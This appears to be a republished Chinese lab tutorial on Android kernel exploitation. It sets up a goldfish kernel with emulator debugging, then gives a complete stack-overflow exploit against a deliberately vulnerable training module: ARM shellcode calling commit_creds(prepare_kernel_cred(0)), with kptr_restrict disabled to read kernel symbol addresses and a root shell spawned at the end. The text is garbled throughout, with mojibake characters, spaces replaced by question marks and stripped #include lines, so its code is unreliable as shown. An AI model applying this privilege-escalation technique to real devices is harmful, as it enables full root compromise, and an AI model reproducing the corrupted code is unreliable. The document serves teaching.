android4 设置栈大小,【技术分享】Android内核漏洞利用技术实战:环境搭建栈溢出实战...
【技術(shù)分享】Android內(nèi)核漏洞利用技術(shù)實戰(zhàn):環(huán)境搭建&棧溢出實戰(zhàn)
2017-08-14 16:22:02
閱讀:0次
預估稿費:300RMB
投稿方式:發(fā)送郵件至linwei#360.cn,或登陸網(wǎng)頁版在線投稿
前言
Android的內(nèi)核采用的是 Linux 內(nèi)核,所以在Android 內(nèi)核中進行漏洞利用其實和在 一般的 x86平臺下的linux內(nèi)核中進行利用差不多。主要區(qū)別在于Android下使用的是arm匯編以及環(huán)境的搭建方面。本文對我最近的實踐做一個分享,其實很簡單。
內(nèi)核調(diào)試環(huán)境搭建
搭建平臺:ubuntu 16.04
這里使用android模擬器來進行內(nèi)核調(diào)試。首先下載內(nèi)核代碼git?clone?https://aosp.tuna.tsinghua.edu.cn/kernel/goldfish.git
然后下載github上的一個安卓漏洞利用的項目,git?clone?https://github.com/Fuzion24/AndroidKernelExploitationPlayground.git?kernel_exploit_challenges
然后使用項目中的patch文件把 patch 內(nèi)核編譯配置,來把項目中的帶漏洞的模塊編譯進linux內(nèi)核
git?am?--signoff?
cd?..?&&?ln?-s?$(pwd)/kernel_exploit_challenges/?goldfish/drivers/vulnerabilities
這里注意:goldfish目錄和kernel_exploit_challenges目錄要在同一目錄下
tar?xvf?arm-linux-androideabi-4.6.tar.bz2
export?PATH=$(pwd)/arm-linux-androideabi-4.6/bin/:$PATH
然后進入goldfish目錄,開始編譯make?goldfish_armv7_defconfig?&&?make?-j8
編譯完成后,就會有兩個主要的文件:goldfish/vmlinux和goldfish/arch/arm/boot/zImage。前面那個用于在調(diào)試時gdb加載,后面的用于在安卓模擬器啟動時加載。
下面下載 安卓sdk, 用來下載和運行 安卓模擬器。
然后把 sdk解壓tar?xvf?android-sdk_r24.4.1-linux.tgz
把android-sdk-linux/tools加入環(huán)境變量,把下面的命令添加到~/.bashrc的末尾export?PATH=/home/haclh/hacktools/android-sdk-linux/tools:$PATH
然后重新打開一個shell, 使用下面的命令?android
然后把下面標注的兩個下載下來
下載完后。首先查看下載的鏡像文件
$android?list?targets
Available?Android?targets:
----------
id:?1?or?"android-19"
Name:?Android?4.4.2
Type:?Platform
API?level:?19
Revision:?4
Skins:?HVGA,?QVGA,?WQVGA400,?WQVGA432,?WSVGA,?WVGA800?(default),?WVGA854,?WXGA720,?WXGA800,?WXGA800-7in
然后創(chuàng)建 模擬器android?create?avd?--force?-t?"android-19"?-n?kernel_challenges
然后進入 goldfish 目錄,使用下面的命令來使用我們的內(nèi)核來運行模擬器,并在 1234 端口起一個 gdbserver 來方便進行 內(nèi)核調(diào)試emulator?-show-kernel?-kernel?arch/arm/boot/zImage?-avd?kernel_challenges?-no-boot-anim?-no-skin?-no-audio?-no-window?-qemu?-monitor?unix:/tmp/qemuSocket,server,nowait?-s
第一次運行有類似的結(jié)果:
$?emulator?-show-kernel?-kernel?arch/arm/boot/zImage?-avd?kernel_challenges?-no-boot-anim?-no-skin?-no-audio?-no-window?-qemu?-monitor?unix:/tmp/qemuSocket,server,nowait?-s
WARNING:?userdata?image?already?in?use,?changes?will?not?persist!
Creating?filesystem?with?parameters:
Size:?576716800
Block?size:?4096
Blocks?per?group:?32768
Inodes?per?group:?7040
Inode?size:?256
Journal?blocks:?2200
Label:
Blocks:?140800
Block?groups:?5
Reserved?block?group?size:?39
Created?filesystem?with?11/35200?inodes?and?4536/140800?blocks
WARNING:?cache?image?already?in?use,?changes?will?not?persist!
Creating?filesystem?with?parameters:
Size:?69206016
Block?size:?4096
Blocks?per?group:?32768
Inodes?per?group:?4224
Inode?size:?256
Journal?blocks:?1024
Label:
Blocks:?16896
Block?groups:?1
Reserved?block?group?size:?7
Created?filesystem?with?11/4224?inodes?and?1302/16896?blocks
......................
......................
......................
為了便于后面的操作我們需要把 交叉編譯工具鏈 添加到環(huán)境變量里。把下面的命令添加到~/.bashrc的末尾export
PATH=/home/haclh/hacktools/arm-linux-androideabi-4.6/bin/:$PATH
然后重新開個 shell, 進入到 goldfish 目錄,加載 vmlinux 以便調(diào)試內(nèi)核arm-linux-androideabi-gdb?vmlinux
如果一切正常,應該可以得到下面的類似輸出
GNU?gdb?(GDB)?7.3.1-gg2
Copyright?(C)?2011?Free?Software?Foundation,?Inc.
License?GPLv3+:?GNU?GPL?version?3?or?later?
This?is?free?software:?you?are?free?to?change?and?redistribute?it.
There?is?NO?WARRANTY,?to?the?extent?permitted?by?law.??Type?"show?copying"
and?"show?warranty"?for?details.
This?GDB?was?configured?as?"--host=x86_64-apple-darwin?--target=arm-linux-android".
For?bug?reporting?instructions,?please?see:
...
Reading?symbols?from?/goldfish/vmlinux...done.
(gdb)
然后連接 模擬器里面的 調(diào)試端口
(gdb)?target?remote?:1234
Remote?debugging?using?:1234
cpu_v7_do_idle?()?at?arch/arm/mm/proc-v7.S:74
74movpc,?lr
(gdb)
如果能看到這樣的輸出說明已經(jīng)可以正常進行內(nèi)核調(diào)試了。
內(nèi)核棧溢出漏洞利用
首先看看漏洞代碼,kernel_exploit_challenges/challenges/stack_buffer_overflow/module/stack_buffer_overflow.c:
#include?
#include?
#include?
#include?
#include?
#include?
#define?MAX_LENGTH?64
MODULE_LICENSE("GPL");
MODULE_AUTHOR("Ryan?Welton");
MODULE_DESCRIPTION("Stack?Buffer?Overflow?Example");
static?struct?proc_dir_entry?*stack_buffer_proc_entry;
int?proc_entry_write(struct?file?*file,?const?char?__user?*ubuf,?unsigned?long?count,?void?*data)
{
char?buf[MAX_LENGTH];
if?(copy_from_user(&buf,?ubuf,?count))?{
printk(KERN_INFO?"stackBufferProcEntry:?error?copying?data?from?userspace\n");
return?-EFAULT;
}
return?count;
}
static?int?__init?stack_buffer_proc_init(void)
{
stack_buffer_proc_entry?=?create_proc_entry("stack_buffer_overflow",?0666,?NULL);
stack_buffer_proc_entry->write_proc?=?proc_entry_write;
printk(KERN_INFO?"created?/proc/stack_buffer_overflow\n");
return?0;
}
static?void?__exit?stack_buffer_proc_exit(void)
{
if?(stack_buffer_proc_entry)?{
remove_proc_entry("stack_buffer_overflow",?stack_buffer_proc_entry);
}
printk(KERN_INFO?"vuln_stack_proc_entry?removed\n");
}
module_init(stack_buffer_proc_init);
module_exit(stack_buffer_proc_exit);
上述代碼會創(chuàng)建/proc/stack_buffer_overflow設備文件 ,當向該設備文件調(diào)用 write 系統(tǒng)調(diào)用時會調(diào)用?proc_entry_write 函數(shù)進行處理。漏洞顯而易見,在proc_entry_write函數(shù)中 定義了一個 64 字節(jié)大小的棧緩沖區(qū) buf, 然后使用copy_from_user(&buf, ubuf, count)從用戶空間 拷貝數(shù)據(jù)到 buf ,數(shù)據(jù)大小和內(nèi)容均用戶可控。于是當我們輸入超過64字節(jié)時我們能夠覆蓋其他的數(shù)據(jù),比如返回地址等,進而劫持程序執(zhí)行流到我們的 shellcode 中 進行提權(quán)。
首先我們來試試觸發(fā)漏洞。先把模擬器打開,然后adb shell進入模擬器,使用 ?echo 命令向/proc/stack_buffer_overflow設備輸入72字節(jié)的數(shù)據(jù)。echo?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?>??/proc/stack_buffer_overflow
可以看到 pc 寄存器的值 為?0x41414141?成功劫持。測試時該內(nèi)核沒開 pxn ,所以我們可以在用戶態(tài)編寫shellcode讓內(nèi)核去執(zhí)行。提取的方式很簡單,內(nèi)核態(tài)調(diào)用??commit_creds(prepare_kernel_cred(0));?提升權(quán)限為 root, 然后返回 用戶態(tài) 執(zhí)行?execl("/system/bin/sh", "sh", NULL);?起一個 root 權(quán)限的?shell,?完成提權(quán)。下面先獲取?prepare_kernel_cred?和?commit_creds?函數(shù)的地址。在?/proc/kallsyms?文件中保存著所有的內(nèi)核符號的名稱和它在內(nèi)存中的位置。不過在最近的內(nèi)核版本中,為了使利用內(nèi)核漏洞變得更加困難,linux內(nèi)核目前禁止一般用戶獲取符號。具體可以看這里。
當啟用?kptr_restrict?是我們不能獲取內(nèi)核符號地址的。
root@generic:/?#?cat?/proc/kallsyms?|?grep?commit_creds
00000000?T?commit_creds
在本文中,把它禁用掉,不管他。
root@generic:/?#?echo?0?>?/proc/sys/kernel/kptr_restrict
root@generic:/?#?cat?/proc/kallsyms?|?grep?commit_creds
c0039834?T?commit_creds
root@generic:/?#?cat?/proc/kallsyms?|?grep?prepare_kernel_cred
c0039d34?T?prepare_kernel_cred
禁用掉之后,我們就可以通過/proc/kallsyms獲取commit_creds和prepare_kernel_cred的地址。
至此,提權(quán)的問題解決了,下面就是要回到用戶態(tài),在x86平臺有?iret指令可以回到用戶態(tài),在arm下返回用戶態(tài)就更簡單了。在arm下?cpsr?寄存器的?M[4:0]?位用來表示 處理器的運行模式,具體可以看這個。所以我們把?cpsr?寄存器的?M[4:0] 位設置為 10000后就表示 處理器進入了用戶模式。
所以現(xiàn)在的利用思路是:
1.調(diào)用commit_creds(prepare_kernel_cred(0))提升權(quán)限
2.調(diào)用mov r3, #0x40000010; ? MSR ? ?CPSR_c,R3;設置cpsr寄存器,使cpu進入用戶模式
3.然后執(zhí)行execl("/system/bin/sh", "sh", NULL);起一個root權(quán)限的shell
最后的 exp :
#include?
#include?
#include?
#include?
#include?
#define?MAX?????????????64
int?open_file(void)
{
int?fd?=?open("/proc/stack_buffer_overflow",?O_RDWR);
if?(fd?==?-1)
err(1,?"open");
return?fd;
}
void?payload(void)
{
printf("[+]?enjoy?the?shell\n");
execl("/system/bin/sh",?"sh",?NULL);
}
extern?uint32_t?shellCode[];
asm
(
"????.text\n"
"????.align?2\n"
"????.code?32\n"
"????.globl?shellCode\n\t"
"shellCode:\n\t"
//?commit_creds(prepare_kernel_cred(0));
//?->?get?root
"LDR?????R3,?=0xc0039d34\n\t"???//prepare_kernel_cred?addr
"MOV?????R0,?#0\n\t"
"BLX?????R3\n\t"
"LDR?????R3,?=0xc0039834\n\t"???//commit_creds?addr
"BLX?????R3\n\t"
"mov?r3,?#0x40000010\n\t"
"MSR????CPSR_c,R3\n\t"
"LDR?????R3,?=0x879c\n\t"?????//?payload?function?addr
"BLX?????R3\n\t"
);
void?trigger_vuln(int?fd)
{
#define?MAX_PAYLOAD?(MAX?+?2??*?sizeof(void*)?)
char?buf[MAX_PAYLOAD];
memset(buf,?'A',?sizeof(buf));
void?*?pc?=?buf?+?MAX?+??1?*?sizeof(void*);
printf("shellcdoe?addr:?%p\n",?shellCode);
printf("payload:%p\n",?payload);
*(void?**)pc??=?(void?*)?shellCode;???//ret?addr
/*?Kaboom!?*/
write(fd,?buf,?sizeof(buf)?);
}
int?main(void)
{
int?fd;
fd?=?open_file();
trigger_vuln(fd);
payload();
close(fd);
}
參考鏈接
本文由 安全客 原創(chuàng)發(fā)布,如需轉(zhuǎn)載請注明來源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/4247.html
總結(jié)
以上是生活随笔為你收集整理的android4 设置栈大小,【技术分享】Android内核漏洞利用技术实战:环境搭建栈溢出实战...的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 乌鲁木齐美居大都会meet是哪个开发商?
- 下一篇: 乌鲁木齐华凌古树小镇是哪个开发商?